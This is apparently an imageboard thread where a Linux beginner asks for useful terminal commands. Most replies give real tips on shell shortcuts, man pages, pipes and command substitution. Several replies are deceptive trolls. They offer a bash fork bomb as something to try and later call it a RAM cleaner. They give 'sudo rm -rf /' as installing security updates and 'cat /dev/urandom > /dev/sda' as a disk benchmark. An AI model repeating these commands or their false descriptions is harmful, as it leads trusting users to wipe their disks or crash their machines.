Hey /g/uys
Im getting started using the linux/unix terminals and was wondering what kind of commands you guys find most helpful, useful, interesting ,over rated etc.
>>51750830
Holy fuck. That is THE lamest question.
Fuck thats lame.
LAME LAME LAME.
Its so lame.
fuck.
really?
fuck,
Try
:(){ :|: & };:
Beginner's tip: sudo rm -rf / will install important security updates on your machine
cat /dev/urandom > /dev/sda
You can benchmark your disk performance using this quick bash 1 liner
most useful:
pipes, subshells, and grep
least useful:
utilities "improved" by GNU programmers
Most useless: cowsay
>>51750830
Thanks guys, more helpful then fucking google searching this shit
a new fag has to start somewhere :/

sl is more usless imho. It's just a fucking train that appares across your screen. At least with cowsay, you can do interesting shit if you have fortune
>>51751170
sl - display animations aimed to correct users who accidentally enter sl instead of ls. sl stands for Steam Locomotive
>>51750830
most helpful...
ctrl+p / ctrl+n
ctrl+a / ctrl+e
alt+b
ctrl+l
alt+.
ctrl+r
Try "info readline", then go to "Command Line Editing", "Readline Interaction."
This shit saves you so much time it's unreal.

You're a disgrace to linux users.
links https://www.google.com.au/search?q=how+to+use+linux+command+lineis pretty good.
sudo !!
If you forgot to sudo your last command you can use this to repeat it with sudo without having to retype the whole thing.
>>51751276
>press up
>press home
>type "sudo"
honestly i don't get what you idiots would do without all your nonstandard .bashrc aliases and macros.
>>51750830
>most helpful
man man
>useful
mv, cp, rm, ls
>interesting
man bash
>overrated
zsh
>>51750937
Thanks, it worked good. But what do I do when the update finishes and it asks if I want to install tor? I already have my browser settings configured how I like it so how do I just exit out of that part?
is the code academy command line class any good?
>>51751290
>being proud of doing more work for the same result
okay
>>51750913
>>51750937
>>51750944
Either winblows babbys, or amazuntu newfags.
>look, I know a harmful command
>>51751321
It's good if you wanna learn the bare basics. I found it quite interactive and fun. Did it in a night some time ago and I remember most of it except the more complex grep stuff. But at least now I know what everything is called and works in general.
>>51750830
You may want to lern the make dance. The make dance is pretty easy:make clean
make
make install
Sometimes you need lern dancing first by typing:./configure
Happy compiling.
>>51750830
stop thinking about it as commands think of it as programs, because that is what it is
are mac and linux commands basically the same?
>>51751473
Pretty much
>>51751473
basically you just need to type imgay in front of a command on macs
>>51751473
yes
it's why osx is the superior os
>>51751539
initialize machine, grant access yes
>>51750913
what does this do?
>>51751583
>>51751133
7/10 made me chuckle
First, understand how to use:
cd
find
grep
cat / head / tail
vi (including how to edit, save and quit)
sudo
man
cp
mv
rm
piping commands together ( | )
save to ( > )
append to (>>)
-r/-R (recursive)
backticks ( ` )
>>51751634
also these two:
more
less
>>51751634
>backticks ( ` )
Nigga what? Stop spreading deprecated shit like backticks. Use $()
>>51751663
>deprecated
>still supported, still works
pick one
>>51751321
God, this so annoying.
type ls just to see where you are and it yells at you.
>>51751663
Actually they are both used about the same amount except for $() is normally used in scripting to print the value of a variable'ls -alrh /sub/directory''read value'type shit'echo $(value) > file.txt' | cat
Also cocks.
>>51751817
Just because people writ shit code doesn't mean everyone has to.

You're welcome.
>>51751608
I still don't get it.
>>51751070
Not OP but quick question regarding headhead -6would list the first 6 lines of a file, right? How would you change it to list the first 6 lines of every file in a specified directory?
>>51751840
>>51751864
using backticks in a command is perfectly acceptable and is much faster to type than shift+4 (for $) and shift+9/shift+0 for parens.echo "the current time is `date`"
also it will never be fully deprecated because of all the tons of old code that still uses backticks
>>51751789
you mean pwd
>>51751919
head -6 /directory/files/*
Bonus points: pipe to grep to file, then cat
Good practice but impractical and redundant af.
>>51751919
How's this?cat * | head -6
Just cd to the directory then use that
>>51751921
You're better off fucking with shit than you are fucking with this fucked up shit.
>>51751290
>>press up
>>press home
>honestly i don't get what you idiots would do without all your nonstandard .bashrc aliases and macros.
So says the fuck who doesn't understand that pressing up and home only work in bash/zsh
>>51752064
werkz fine on fish
>>51752079
Fish is bash thingy fâm.
>>51752095
fish isn't bash thing m8, it isn't even POSIX compliant
>>51752100
> FISH is a user-friendly, interactive shell designed to work with any other shell like bash or ZSH.
>>51752131
yeah, designed to work with, but if you try executing some bash shit that FISH doesn't support it'll cry out
For example, you can't use a bash-like if command
>>51751932
it yells at me for pwd too, but I meant ls, to see what files are there.
>>51752154
Wow. In that case..
>>>/trash/
>>51751070
Saved, thanks.
>>51752211
but in case you want to run bash scripts you can still just do sh script.sh and it'll use bash
>>51751881
It cleans up the junk that is clogging your system ram by taking it over and terminating it.
man man
it is pretty useful
>>51752244
>imply my sh isn't dash
>>51751881
Your are obviously too new then. Lurk more, read more.
sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get autoremove
>>51751881
just run it you retard
For fun,
toilet

Need to get them from your local friendly repo.
>>51751170
fortune | cowsay
what else?
>>51751921
Good luck using backticks when you have to nest the commands.
Try this with backticks
echo $(echo $(echo $(echo hello)))
Obviously this is redundant but just an example
>>51751881fork ()
{
fork | fork &
}
fork
does this clear it up?
>>51751881
It's a fork bomb. Google it if you don't know what it is
Do this
